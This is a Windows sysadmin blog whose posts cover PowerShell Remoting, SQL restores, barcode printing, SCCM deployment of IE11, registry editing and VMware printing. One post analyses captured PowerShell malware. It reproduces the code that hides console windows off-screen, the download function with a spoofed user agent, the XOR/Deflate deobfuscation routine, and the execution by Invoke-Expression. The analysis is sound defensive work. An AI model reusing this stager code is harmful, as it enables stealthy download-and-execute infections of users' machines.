Enabling PowerShell Remoting (Part 2)

Tags

, ,

Some time ago I wrote a fairly-extensive post about an issue I was seeing with failure to register PowerShell Remoting Endpoints (PSSessionConfigurations) when enabling PSRemoting via Group Policy.

I never did solve the underlying problem.  The eventual script I used is different to the one that’s in the old post, so here is the newer one.  Group Policy handles the Services etc, and then this runs in a Computer Startup Script:

#requires -Version 3
# Add missing PSSessionConfigurations (Remoting Endpoints)

Start-Service -Name 'WinRM'

$faulty = $false

if ((Get-PSSessionConfiguration -Name 'Microsoft.PowerShell' -ErrorAction SilentlyContinue) -eq $null) {
    $faulty = $true
}

if ((@(Get-WmiObject -Class Win32_Processor -Property AddressWidth)[0].AddressWidth) -eq 64) {
    if ((Get-PSSessionConfiguration -Name 'Microsoft.PowerShell32' -ErrorAction SilentlyContinue) -eq $null) {
        $faulty = $true
    }
}

if ($PSVersionTable.PSVersion.Major -ge 3) {
    if ((Get-PSSessionConfiguration -Name 'Microsoft.PowerShell.Workflow' -ErrorAction SilentlyContinue) -eq $null) {
        $faulty = $true
    }
}

if ($faulty) {
    try {
        Enable-PSRemoting -Force -SkipNetworkProfileCheck | Out-Null
    } catch {
        try {
            Enable-PSRemoting -Force -SkipNetworkProfileCheck | Out-Null
        } catch {

        }
    }
    Restart-Service -Name 'WinRM'
}

A Computer Startup PowerShell Script does add to boot time but it’s the best solution I could find that worked consistently without doing anything too weird that might cause future problems.  I hope you find it helpful and if anyone ever finds out what the actual cause of the missing endpoints issue is, please post a comment, thanks!

SQL Restore Issue

Tags

Saw an interesting error message today when a colleague was doing a test SQL restore onto a spare server.  Neither of us are SQL people…!  Here’s the error:

sql-restore-error

We went back to the restore wizard and set its options again but this time clicked the Script button at the top to copy the T-SQL to the clipboard.

sql-restoredb

The T-SQL was as follows.  I’ve shortened paths, changed names and added line-breaks:

RESTORE DATABASE [database]
FROM DISK = N'D:\Restore\MSSQL\Backup\database\backupfilename.bak' WITH FILE = 1,
MOVE N'dbname_SYSTEM' TO N'D:\MSSQL\DATA\dbfilename.mdf',
MOVE N'dbname_DATA' TO N'D:\MSSQL\DATA\dbfilename.mdf',
MOVE N'dbname_INDEX' TO N'D:\MSSQL\DATA\dbfilename.mdf',
MOVE N'dbname_INDEX_2' TO N'D:\MSSQL\DATA\dbfilename.NDF',
MOVE N'dbname_ARCHIVE' TO N'D:\MSSQL\DATA\dbfilename.NDF',
MOVE N'dbname_ARCHIVE_2' TO N'D:\MSSQL\DATA\dbfilename.NDF',
MOVE N'dbname_LOG' TO N'D:\MSSQL\DATA\dbfilename.ldf',
MOVE N'dbname_LOG_2' TO N'D:\MSSQL\DATA\dbfilename.ldf',
NOUNLOAD, STATS = 10

From that, you can see multiple parts of the database going to the same destination filename which must explain the error we were getting.
Pasting the T-SQL into a new query and adding suffices to the stem of those filenames to make them unique let the restore work and the database tables, when checked, looked fine.

Recognising the NDF file extension as being from Secondary Data Files, I next had a look at what was going on with the disposition of the files on the live database:

db-files

As you can see, the files are normally spread over 7 folders on 4 drives but we were restoring the lot for test purposes into one folder and so the filenames were clashing.

Rather than tweak the T-SQL like we did, I see we could just change the destinations in the second page of the Restore wizard next time in the “Restore As” column:

sql-restoredb2

 

Barcode Printing Bizareness

Tags

We have a third-party web app that as part of its functionality prints labels with barcodes on.  This was working fine until PCs were upgraded to IE11 and then the printed barcodes could no longer be read by a hand-held barcode scanner!  To confirm the behaviour, downgrading IE back to IE9 fixed the problem and upgrading that back to IE11 broke it once more.  Printing from IE11 to a standard Laserjet printer instead of the label printer produced output that could be scanned successfully.

The printer in question is a Toshiba thermal printer that was chosen for its ability to be powered by a rechargeable battery and its ruggedised nature.  Here it is:

ToshibaPrinter

It’s using the Seagull Scientific printer drivers from here.  The barcodes are of symbology Code 39.

One thing that was noted was that the printer is only 203 DPI which means it could be at risk of struggling to fit the needed level of detail into a given space if the barcode is below a certain size.  Measuring a scannable and non-scannable printout showed no difference in printed width (I’d wondered if there was some scaling going on in IE11).  Looking really closely at the printout, the non-scannable barcode did look more indistinct on the thinnest black lines but there were also places where the line patterns for repeated character zeros were inconsistent.  It reminded me of what happens when you shrink an image down without resampling – which is presumably something like what is actually going on – though why differing IE versions should affect this was not clear.

Here are some close-ups of part of the printed barcodes where you can see the most obvious difference in the two printouts.

 Working – from IE9  Faulty – from IE11
 Barcode-Good  Barcode-Bad

Today I found this extremely useful webpage.  To quote:

When printing barcodes fonts to a printer with less then 600dpi, such as a thermal 203dpi printer, the print should be no smaller than 20 points. Otherwise, print at the point sizes specified in the chart below.

BarcodePointSizes

It is necessary to use the point sizes specified in the chart above with low resolution printers so that there are the exact number of dots required to create the exact ratio of bar and space sequences. Because fonts cannot calculate or perform operations on their own, they have no method to compensate for low resolution devices.

We had a look at the template that was generating the label and the barcode font was 10 point.  Increasing this to 12 to match the chart above did indeed fix the problem!  We also tried 6 but it was too tiny and wouldn’t scan.

Despite being fixed this still left the question of what was different between IE9 and IE11 that could explain it all.  I’m assuming that it must be something to do with the IE rendering engine behaving differently in IE11.  Remembering from past experiences that printer drivers interact with graphics drivers it made me think about graphics rendering specifically.  Although the following setting was also in IE9, I tried ticking it on an affected IE11 machine:

IE-Rendering

That fixed the problem and enabled even a 10 point barcode to print in scannable form from IE11!  I don’t fancy leaving that ticked because of potential performance degradation and unknown issues with other current and future web apps, so we’ll be sticking with 12 point for now.  My next – and probably final – port of call would be to try an updated [on-board] graphics driver.

PowerShell Malware

Saw my first example today of an in-the-wild PowerShell Malware on an infested laptop.  It had already been cleaned by MalwareBytes but I looked it over with Process Explorer and Autoruns and spotted a strange Scheduled Task.

The task name was the GUID “{080A7D47-0B0F-0B0B-0511-7D0A7F781109}” which I’m pasting here in case it’s constant for all infected machines.  The task was set to run at 18:01 and run PowerShell with the usual -ExecutionPolicy Bypass and the -EncodedCommand parameter followed by a long string.

I decoded the string with the following:

$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

(Source)

I put the result in the ISE and then reformatted it to make it readable.  The first thing the script did was set all Preference variables to SilentlyContinue except for the ErrorAction one which it set to Stop.  Next was a particularly interesting bit of code.  I’ve removed two Try-Catch constructs for readability:

function sr($p) {
	$n="WindowPosition"
	New-Item -Path $p | Out-Null
	try {
		New-ItemProperty -Path $p -Name $n -PropertyType DWORD -Value 201329664 | Out-Null
	} catch {
		Set-ItemProperty -Path $p -Name $n -Value 201329664 | Out-Null
	}
}

sr("HKCU:\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe")
sr("HKCU:\Console\%SystemRoot%_System32_svchost.exe")
sr("HKCU:\Console\taskeng.exe")

I’d not really looked at that referenced area of the registry before.  If I look at my own HKEY_CURRENT_USER\Console , I see the following subkeys which all clearly contain various values to do with console-type window positions, sizes, colours etc:

HKCUConsole

The piece of code above, is creating keys for the PowerShell Console app, svchost.exe and taskeng.exe and then giving them a WindowPosition value of 201329664.  The documentation for that value shows that the high and low order bytes of it determine the X and Y positions respectively.  In Hex, that value is 0C00 0C00.  0C00 is decimal 3072.  What this ensures is that if PowerShell or the other processes open a Window, it will open off-screen at coordinates 3072×3072!

The code next exits if PowerShell is less than v2, or if the OS is older than XP SP2, or if the current user is not an Administrator.  The latter test uses this neat little one-liner:

 if ( -not ( [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { break }

Next, there is a long dubious URL in a string which is then passed to the following function to download data from it using the System.Net.WebClient class.  Note the User-Agent header being passed:

function wc($url){
	$rq = New-Object System.Net.WebClient
	$rq.UseDefaultCredentials=$true
	$rq.Headers.Add("user-agent","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1;)")
	return [System.Text.Encoding]::ASCII.GetString($rq.DownloadData($url))
}

The returned data is then decoded from Base64, deobfuscated (Xor) and decompressed with the following function:

function dstr($rawdata){
	$bt = [Convert]::FromBase64String($rawdata)
	$ext=$bt[0]
	$key=$bt[1] -bxor 170
	for ( $i=2; $i -lt $bt.Length; $i++){
		$bt[$i]=($bt[$i] -bxor (($key + $i) -band 255))
	}
	return ( New-Object IO.StreamReader( New-Object IO.Compression.DeflateStream((New-Object IO.MemoryStream($bt,2,($bt.Length-$ext))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
}

There’s some rather developery .NET classes in there for me to look up when I’m feeling particularly bored…!

I suspect you can guess how the code ends.  The returned string is passed to Invoke-Expression to be executed to cause the next stage of the infection.

Sadly, the tale ends here, as the URL given no longer has any live code to download.  😦

Preventing SCCM Mid-Install Login Pain

Tags

,

I tend to set many of my SCCM packages to run when no user is logged on.  For example, I don’t want to be trying to update a piece of software if a user might already have the old version open.

Sometimes though, such a package takes some time to run and there’s a chance the user might log in mid-way.  This might not necessarily be a problem – but could be if your package ends by triggering a reboot.  I recently blogged about installing IE11.  There, eight pre-requisite updates had to be installed followed by a reboot before IE11 itself was installed.  That’s quite a time window where a user might log in.  One way around this is to schedule the package for out-of-hours but then if the user doesn’t leave it logged off overnight for a while, any subsequently-advertised packages are held up, waiting for the scheduled one to be run first.

What would be nice, is to be able to display a message to the user to tell them not to log in whilst the install is in progress.  It is possible to change the logon/lock screen background but if this is done via a script while no one is logged in, it won’t visibly take effect until after a reboot.

TwoParter

To do this, make a suitably-sized image no more than 256KB in size and save it as c:\Windows\System32\oobe\info\backgrounds\backgroundDefault.jpg (making any missing folders as required).  Then to make this take effect you need to set a registry value called OEMBackground with a value of 1 within key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background

For my IE11 installer, the first package to run merely sets the above background and then reboots.  With the background now changed, part two then installs the 8 pre-requisites and reboots.  Part three then does the IEAK-derived install and reboots.  Finally, part four does the RunOnce stuff, applies a cumulative update, removes the above wallpaper and reboots once more!  Total runtime of 15 mins with the warning on-screen throughout.  Anyone who logs in during that time despite the warnings is deserving of any subsequent pain!

Here’s the simple code inside the first package to set the background:

reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background /v OEMBackground /t REG_DWORD /d 1 /f >nul
if not exist c:\Windows\System32\oobe\info\backgrounds mkdir c:\Windows\System32\oobe\info\backgrounds
if exist c:\Windows\System32\oobe\info\backgrounds\backgroundDefault.jpg ren c:\Windows\System32\oobe\info\backgrounds\backgroundDefault.jpg backgroundDefault.bak
copy /Y backgroundDefault.jpg c:\Windows\System32\oobe\info\backgrounds\backgroundDefault.jpg >nul

and here’s the code in the last one to remove it again:

reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background /v OEMBackground /t REG_DWORD /d 0 /f >nul
del /F c:\Windows\System32\oobe\info\backgrounds\backgroundDefault.jpg >nul
if exist c:\Windows\System32\oobe\info\backgrounds\backgroundDefault.bak ren c:\Windows\System32\oobe\info\backgrounds\backgroundDefault.bak backgroundDefault.jpg

I leave it to SCCM to handle all the rebooting.  You’ll see I’ve coded it to preserve any file already in there, though as far as the registry is concerned, I’m assuming a custom screen isn’t being used.  Also, this hasn’t been written for use with a 64-bit OS where I’d have to work around a 32-bit SCCM 2007 Client process needing access to 64-bit System32 etc.


Update
After initial testing, I found that even users within the IT Department were logging in despite the on-screen message!  They either didn’t read it fully, or just plain ignored it.  I’ve now switched to an ugly in-your-face vivid red screen with a big white font.  Now we’ll probably have people think they’re infected with malware instead…

Upgrading to IE11 with IEAK and SCCM

Tags

,

We’re finally getting to be in a position where we can upgrade more old PCs to IE11.  The problem is, how best to do so via SCCM (2007).  As on previous occasions, we want to use the IEAK to do a little customisation such as stripping out Accelerators, adding a Search Engine, killing off First-Run Wizards, etc.

One thing we found previously when we upgraded to IE9 from IE8, was that after installing an IEAK-derived package and rebooting, you have to log in once as an administrative user for Windows to process some RunOnce settings, as otherwise you end up in a bit of a mess.  We once had to remote to a number of machines just to log in once as admin to complete a failed IEAK v9-based upgrade.  The subsequent fix for later installs was to daisy-chain the IEAK SCCM package with a second package that ran after reboot and used some VBScript to parse the RunOnce registry key and run (and then remove) all the things in there!  Messy but successful.  There’s more info on this issue (which is also seen with OSD) here: “Deploying IE9 with SCCM OSD Task Sequence“.  The RunOnce Runner script I use is based on the mechanism of this one here: “OSD and RunOnce“.  It may be this problem no longer exists with IEAK v11, but I’m playing it safe…

On to IE11 specifically.  I made the usual package with the IEAK and tried it out but it soon became clear (as I half-expected) that it was trying to download and install pre-requisites, but since SCCM packages run under the System context, this was not getting through our web filtering software.  The list of pre-requisites (both required and recommended) is in the following Microsoft KB article: “Prerequisite updates for Internet Explorer 11“.

Reading around some articles online saved me further pain as it turns out that just installing those updates followed immediately by the IEAK package without a reboot via a batch file won’t work as it still goes looking online.  The reference for this is on the Technet forums here: ” Packaging IE11 prerequisite updates with IEAK“.

There’s also a nice fix in that discussion for an install of IE11 and pre-requisites without an intervening reboot, for if you’re using the normal IE installer and not an IEAK-derived one.  On the same subject, see also Microsoft’s KB article here: “How to create an all-inclusive deployment package for Internet Explorer 11“.

My solution is three SCCM packages that run one after the other with a reboot after each.  The third is the one that is actually advertised to the PCs and it contains the setting to make it run package two first and that in turn contains the setting to run package one!  Part 1 is the pre-requisite patches and a reboot.  Part 2 is the IEAK package and a reboot.  Part 3 is the RunOnce Runner followed by an IE cumulative update and a final reboot!!

I discovered one complication with the above solution.  If the pre-requisites package tries to install a patch that is already installed, this returns an error which makes SCCM count package one as having failed and then doesn’t attempt to run parts two and three.  I therefore use an explicit exit 0 to end the first batch file.  I’m also letting SCCM handle the reboots, rather than putting a shutdown.exe command in.

The packages will be set to run when no user is logged on and I suspect we will set it for out-of-hours too.  Longer term, I hope we can just push out the pre-requisites with WSUS separately and then deploy a simpler IEAK-based installer with SCCM.

Here is the batch code I’ve used.  Note I’ve copied in filever.exe to look for an already-upgraded IE.  I also use it in the final package to look for a failed upgrade and force a specific return code to flag that up in the SCCM advertisement report.

Package 1:

rem Exit if already has IE11.
filever.exe /B /A /D "C:\Program Files\Internet Explorer\iexplore.exe" | find " 11." >nul
if '%errorlevel%'=='0' exit 0

rem Install pre-requisites.
wusa.exe Windows6.1-KB2533623-x86.msu /quiet /norestart
wusa.exe Windows6.1-KB2639308-x86.msu /quiet /norestart
wusa.exe Windows6.1-KB2670838-x86.msu /quiet /norestart
wusa.exe Windows6.1-KB2729094-v2-x86.msu /quiet /norestart
wusa.exe Windows6.1-KB2731771-x86.msu /quiet /norestart
wusa.exe Windows6.1-KB2786081-x86.msu /quiet /norestart
wusa.exe Windows6.1-KB2834140-v2-x86.msu /quiet /norestart
wusa.exe Windows6.1-KB2882822-x86.msu /quiet /norestart
wusa.exe Windows6.1-KB2888049-x86.msu /quiet /norestart

exit 0

Package 2:

rem Exit if already has IE11.
filever.exe /B /A /D "C:\Program Files\Internet Explorer\iexplore.exe" | find " 11." >nul
if '%errorlevel%'=='0' exit 0

rem Install IEAK package.
start /wait msiexec.exe /i IE11-Setup-Full-x86.msi /quiet /norestart

exit 0

Package 3:

rem Return an error if upgrade has been unsuccessful.
filever.exe /B /A /D "C:\Program Files\Internet Explorer\iexplore.exe" | find " 11." >nul
if '%errorlevel%'=='1' exit 666

rem Run the IEAK Run-Once tasks as admin.
c:\Windows\System32\cscript.exe //nologo RunOnceRunner.vbe

rem Apply May 2016 cumulative update.
c:\Windows\System32\wusa.exe IE11-Windows6.1-KB3154070-x86.msu /quiet /norestart

exit 0

I hope all the above proves useful for someone else!

The word “package” in this article has been sponsored by Alex Davies…

Editing Multi-String Registry Values

Tags

,

I was writing a function earlier to uninstall GearASPI which iTunes always insists on putting on my machine.  The GEAR website has a list of manual steps but no uninstaller.  One of the steps which will be familiar to anyone who has had to fight with disappearing CD drives in the past is to edit the UpperFilters multi-string registry value.  This used to be a relatively common problem caused by various pieces of CD-writing software that didn’t play nicely together.  Advice was often to just delete the UpperFilters and LowerFilters values to restore CD drive functionality but that would affect all software that had altered those keys and not just the one that was playing badly.  The GEAR site wisely says to edit the values if they’re present rather than deleting them.  So the question becomes, how to safely edit a registry Multi-String value (REG_MULTI_SZ) from PowerShell.

The Registry PSProvider has always confused me with its keys being Items and its values being ItemProperties.  Here was what I started with:

$regKey = 'HKLM:\SYSTEM\CurrentControlSet\Control\Class\{4d36e965-e325-11ce-bfc1-08002be10318}'
$upperFilters = Get-ItemProperty -Path $regKey -Name 'UpperFilters'

Viewing the returned variable gives us the following:

UpperFilters : {GearASPIwdm}
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e965-e325-11ce-bfc1-08002be10318}
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class
PSChildName : {4d36e965-e325-11ce-bfc1-08002be10318}
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry

That’s not really very helpful so I tried two ways of getting at the actual value:

Get-ItemProperty -Path $regKey -Name 'UpperFilters' | Select-Object -ExpandProperty 'UpperFilters'
(Get-ItemProperty -Path $regKey -Name 'UpperFilters').UpperFilters

My UpperFilters value only contained a single string.  In this case, the first technique returned a [string] whereas the second one returned the desired [string[]].

If the registry value contains no strings, the first technique errors because null is returned and the second technique gives [string[]] again as desired.

I always want [string[]] so technique two looks safe.  Next comes the problem of how to remove a given value from a string array.

Having looked at the methods of the returned variable, I tried .Remove():

$newUpperFilters = $upperFilters.Remove("gearaspiwdm")

That was less than useful:

Exception calling "Remove" with "1" argument(s): "Collection was of a fixed size."

One method I tried yesterday to get around this was casting the original Get-ItemProperty to an [ArrayList] and using its .Remove() method:

[System.Collections.ArrayList]$upperFilters = (Get-ItemProperty -Path $regKey -Name 'UpperFilters').UpperFilters
$newUpperFilters = $upperFilters.Remove('gearaspiwdm')

Oddly, that’s working for me today but yesterday I was finding that the .Remove() was being case-sensitive!  I therefore went on to other things.  This is what I ended up with:

$newUpperFilters = $upperFilters | Where-Object { $_ -ne 'gearaspiwdm' }

That successfully removed the desired string but if there were no other strings left, I ended up with a null to deal with.  I wanted to always get a [string[]] back.

I tried various ways of casting the result:

[string[]]$newUpperFilters = $upperFilters | Where-Object { $_ -ne 'gearaspiwdm' }
[Array]$newUpperFilters = $upperFilters | Where-Object { $_ -ne 'gearaspiwdm' }
$newUpperFilters = [string[]]($upperFilters | Where-Object { $_ -ne 'gearaspiwdm' })
$newUpperFilters = [Array]($upperFilters | Where-Object { $_ -ne 'gearaspiwdm' })
$newUpperFilters = @($upperFilters | Where-Object { $_ -ne 'gearaspiwdm' })

Out of all of those, only the last entry always returned a collection even when removal of the matching string left nothing.  The others return null but the last one gives back an [object[]].  Though not actually necessary, that can be converted into a string array with a simple cast:

[string[]]$newUpperFilters = @($upperFilters | Where-Object { $_ -ne 'gearaspiwdm' })

Whilst writing this up today, I realised that there was a much easier method that would always return a [string[]]:

[string[]]$newUpperFilters = $upperFilters -notmatch 'gearaspiwdm'

failfish

Note that my final function included Test-Path on registry keys and a Remove-ItemProperty if the UpperFilters ended up empty (based on the .Count property of $newUpperFilters).

Now I’m off to re-consult Bruce Payette’s bible and see what he says about Type conversion.  I think I understand the difference between all those casts I tried above…


Update

Having now done some reading, one thing that was seemingly clarified for me is why @() behaves differently to [Array] in ensuring I always got a collection back.

The clue was Bruce’s name for @( … ) as an “Array Subexpression”.  I guess its physical similarity to the subexpression $( … ) should have been a clue.  Apparently @( … ) is equivalent to [object[]] $( … )

Except when I tested this, I didn’t see the same behaviour!

@(([string[]]'Test') | where {$_ -ne 'Test'}).GetType().Name

That returns “Object[]”.

[object[]]$(([string[]]'Test') | where {$_ -ne 'Test'}).GetType().Name

That returns an error due to null being returned:

You cannot call a method on a null-valued expression.

I remain confused!!

RAM Leak on Windows 10

Someone online was telling me earlier that they needed more RAM in their new Windows 10 machine despite already having 16GB in their system.  Their RAM use in Task Manager’s Performance tab was in the order of 15GB (even when idle) but the Details tab did not show any one process with more than around 150MB used.

I talked them through running Sysinternals RAM Map.  On the screenshot he sent, the Non-Paged Pool histogram portion was massive.  Here’s a close-up showing the figures:

NonPagedPool

This suggested a duff driver and enabled me to do a more meaningful Google search on the issue.  There were a number of hits describing the same problem all pointing the finger at the same cause.  Here’s one such page.

As on the above, he did indeed have an MSI motherboard with Killer networking.  After a driver update from here, the problem went away.  Plan B would have been to disable the Network Data Usage Monitoring service with a reghack as suggested by the sites I found.

VMware View – VDI Printing – Part 3

Tags

, , , ,

In my final post on this subject, I’ll write about what I eventually did to solve the problem of printing to a printer within the VDI.  Please read the previous two posts for background information: Part1 and Part2.

The first thing I did was to share out the printer on the physical PC as “LabelPrinter$”.  Since I have a Group Policy object to turn a PC into a VDI physical “kiosk” machine, I wanted this to be automated.  This was done with the following Computer Startup script:

On Error Resume Next

Const WBEMFLAGRETURNWHENCOMPLETE = 0

Set objSWbemServices = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2")
strWQL = "SELECT * FROM Win32_Printer WHERE Shared = False"
Set colPrinters = objSWbemServices.ExecQuery(strWQL,,WBEMFLAGRETURNWHENCOMPLETE)
For Each objPrinter In colPrinters
	If objPrinter.Name = "Label Printer" Then
		objPrinter.Shared = True
		objPrinter.ShareName = "LabelPrinter$"
		objPrinter.Put_
	End If
Next

WScript.Quit

The script looks for all non-shared printers and then if it’s called “Label Printer”, shares the printer out with sharename “LabelPrinter$”. Note that after writing the changes to the two properties of the WMI Win32_Printer instance, it’s necessary to call the “Put_” method of that instance to commit these changes to the WMI Repository and make them take effect.

Kiosk-LabelPrinter

The solution for inside the virtual machines takes advantage of a little trick you can do. You probably know that the command line’s NET USE command can be used to map a drive letter to the UNC path of a fileshare. What is less obvious is that you can also map a printer port to the UNC path of a printshare the same way.  Another necessary piece of the puzzle is that VMware View exposes the name of the current underlying physical PC to the VM through the environment variable ViewClient_Machine_Name.

In the virtual machine base image, the printer “Label Printer” has been installed with relevant driver settings as though it were installed on port LPT2:  Of course, this normally points nowhere and any jobs sent to it will just sit there.  The virtual machines then have a Group Policy Object that on Connect or Reconnect run the following little VBScript:

On Error Resume Next

Const FORCE_REMOVE = True

Set objWshNet = WScript.CreateObject("WScript.Network")
strKioskPC = objWshShell.ExpandEnvironmentStrings("%ViewClient_Machine_Name%")

objWshNet.RemovePrinterConnection "LPT2:", FORCE_REMOVE
objWshNet.AddPrinterConnection "LPT2:", "\\" & strKioskPC & "\LabelPrinter$"

WScript.Quit

Any existing LPT2: is disconnected and then the AddPrinterConnection() method of the WScript.Network object does the equivalent of a NET USE to map LPT2: to the UNC path of the printer we shared on the physical PC from which we’re currently connected to the VM. The following screenshot shows the printer that’s in the base image and assigned to LPT2: highlighted, along with the details of the Port and UNC plumbing that makes this work.
VM-LabelPrinterYou’ll also see that VMware’s ThinPrint has pulled the underlying physical printer into the VM as well, along with its usual numerical suffix (“Label Printer#:1”). This isn’t a problem.

I can now move from one physical “kiosk” PC to another and LPT2: just merrily gets repointed to my local printer as I go. The printer installed on the VM doesn’t seem to mind at all about this change occurring repeatedly under its nose. Indeed, if I submit a print job to it while connected from a physical PC with no shared label printer at all, the job sits in the queue in the VM and prints out next time I connect to that VM from a PC that does have one on!

Update

Having worked out all this complexity, when we finally created our Production VDI with the newer VMware View v6.2.2, ThinPrint brought in the printer names unaltered off the physical PC with no suffices, so I didn’t need to do any of this after all!  Oh well, it had been an interesting exercise!

VMware View – VDI Printing – Part 2

Tags

, , , ,

Coming up is an Asynchronous WMI Event query.  Read on…!

In the last post, I showed how VMware View has a ThinPrint component that brings printers from the physical PC into the virtual machine you connect to without your having to worry about installing the relevant drivers into your virtual infrastructure.  The printers appear in the VM with “#:” and an incremented number appended to their name.

We have an application that for convoluted reasons is set to print labels by looking for any printer installed on the local PC called “Label Printer”.  This works well and it will merrily print to USB-connected printers or networked printers without any worries.  No central management or printserver is required for them.

There’s always a complication though; in this case it’s the VDI environment where the printer name suddenly becomes something like “Label Printer#:1” thanks to the actions of VMware’s ThinPrint component.  Our application doesn’t support a wildcard in the name of the printer it is to look for…

I found that I could rename this printer back to “Label Printer” and it would still pass through to the print queue of the physical PC and on to the print device.  So I thought about a script to rename the printers.  VMware View has Group Policy settings (via ADM files) that let you run scripts when (re)connecting to the virtual machine.  It can take a while though for all the printers to add in if you have a lot of them but I didn’t want to code a wait into the script before renaming as I needed the printer usable as quickly as possible.  I decided to have a go at dynamically renaming them as they appeared in the VM.  I’ll say straight away that this ultimately didn’t end well – ThinPrint wouldn’t remove its printers on disconnect after I’d renamed them and if I didn’t remove them by a disconnect script, it would start re-adding them again on reconnect as extra printers.  Worse still, it would get randomly upset and stop the printer importing process mid-way and not restart it after a disconnect and reconnect.  The code I came up with did do what I intended and was quite cool to watch in action.  It also helped me get my head around some more unusual WMI techniques, so here it is for your enjoyment!

On Error Resume Next

Const wbemFlagReturnWhenComplete = 0

WScript.Sleep 2000

Set objWMISink = WScript.CreateObject("WbemScripting.SWbemSink","SINK_")
Set objWMIServices = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

strWQL = "SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_Printer'"
objWMIServices.ExecNotificationQueryAsync objWMISink, strWQL

intAdded = 0
Do
	intLastTotal = intAdded
	WScript.Sleep 5000
Loop Until intAdded = intLastTotal

objWMISink.Cancel
Set objWMISink = Nothing
WScript.Quit

Sub SINK_OnObjectReady(objLatestEvent, objWbemAsyncContext)
	WScript.Sleep 750
	Set objPrinter = objLatestEvent.TargetInstance
	strName = objPrinter.Name
	intSuffix = InStr(strName, "#:")
	If intSuffix > 0 Then
		strNewName = Left(strName, intSuffix - 1)
		objPrinter.RenamePrinter strNewName
		intAdded = intAdded + 1
	End If
End Sub

When a new <WMI instance of something> is created in the OS, a WMI Event is fired called an “__InstanceCreationEvent“. The created Instance in question could be of a Win32_Process (eg the user opened Notepad.exe) or it could be a CIM_DataFile (eg a file was created in a folder) or it could be like in this case a Win32_Printer if a printer is added. There are also events for Modification and Deletion. The WQL query required is fairly self-explanatory once you’ve remembered the general syntax. My query was this: “SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA ‘Win32_Printer’“. Really there are only two things to worry about editing there. The number 2 means look every two seconds to see if a new event has occurred, and the WMI Class name of what we’re looking for is also required – otherwise we’ll drown in all kinds of events! The more often we look, the more of a performance hit we’ll get from WMI doing its stuff, so use a higher value if you can. You can also add more things to the WHERE clause if appropriate to filter down to the events you want by looking at properties of the TargetInstance object.

This sort of query is executed using a different method call than for normal WMI queries.  You can do a synchronous query where the code will sit and wait for the next event or you can do an asynchronous one where your code carries on but will also jump off to a special chunk of code as soon as it is notified that an event is received.  I’m using the latter technique as I want to rename the printers as they arrive but be able to exit the entire script after a set maximum time.  This asynchronous variety requires the ExecNotificationQueryAsync() method and it takes another parameter before the WQL string.  This is called the Event Sink object and is to tell WMI what to do when it sees an event.  This is created with the line:

Set objWMISink = WScript.CreateObject("WbemScripting.SWbemSink","SINK_")

The supplied string “SINK_” is the subroutine name’s prefix that will be looked for when an event occurs. When the event occurs, the code will look for a subroutine called <Prefix>OnObjectReady so in this case, “SINK_OnObjectReady”. That subroutine has two parameters in its declaration:

Sub SINK_OnObjectReady(objLatestEvent, objWbemAsyncContext)

I don’t pretend to know much about WMI events, but the one thing to know is that inside this subroutine, the object passed in, objLatestEvent has a property called TargetInstance and that basically contains the WMI class you’ve filtered on – in my case a Win32_Printer so you can then do to that whatever you want.

You can now follow the flow of the full script.
There’s an initial pause to ensure the ThinPrint AutoConnect process has definitely started.  The Event Sink object is created, as is the usual WMI Services object.  The WQL query is then executed in the background (asynchronously).  If a printer appears in the system, the event sink calls the subroutine which after a little pause, renames the printer minus the “#:<num>” in its name.  It also increments a variable to track that it has added one.  Meanwhile the script has been sitting around for five seconds.  It then looks to see if any printers have been added during that time.  If any have, then it waits another five seconds before seeing if the count has gone up again and so on.  Once no more printers have been added in the previous five seconds, the event sink is got rid of and the script exits.

It didn’t end up solving my VDI printing problem but it was fascinating all the same!

Part 3 of this series can be found here.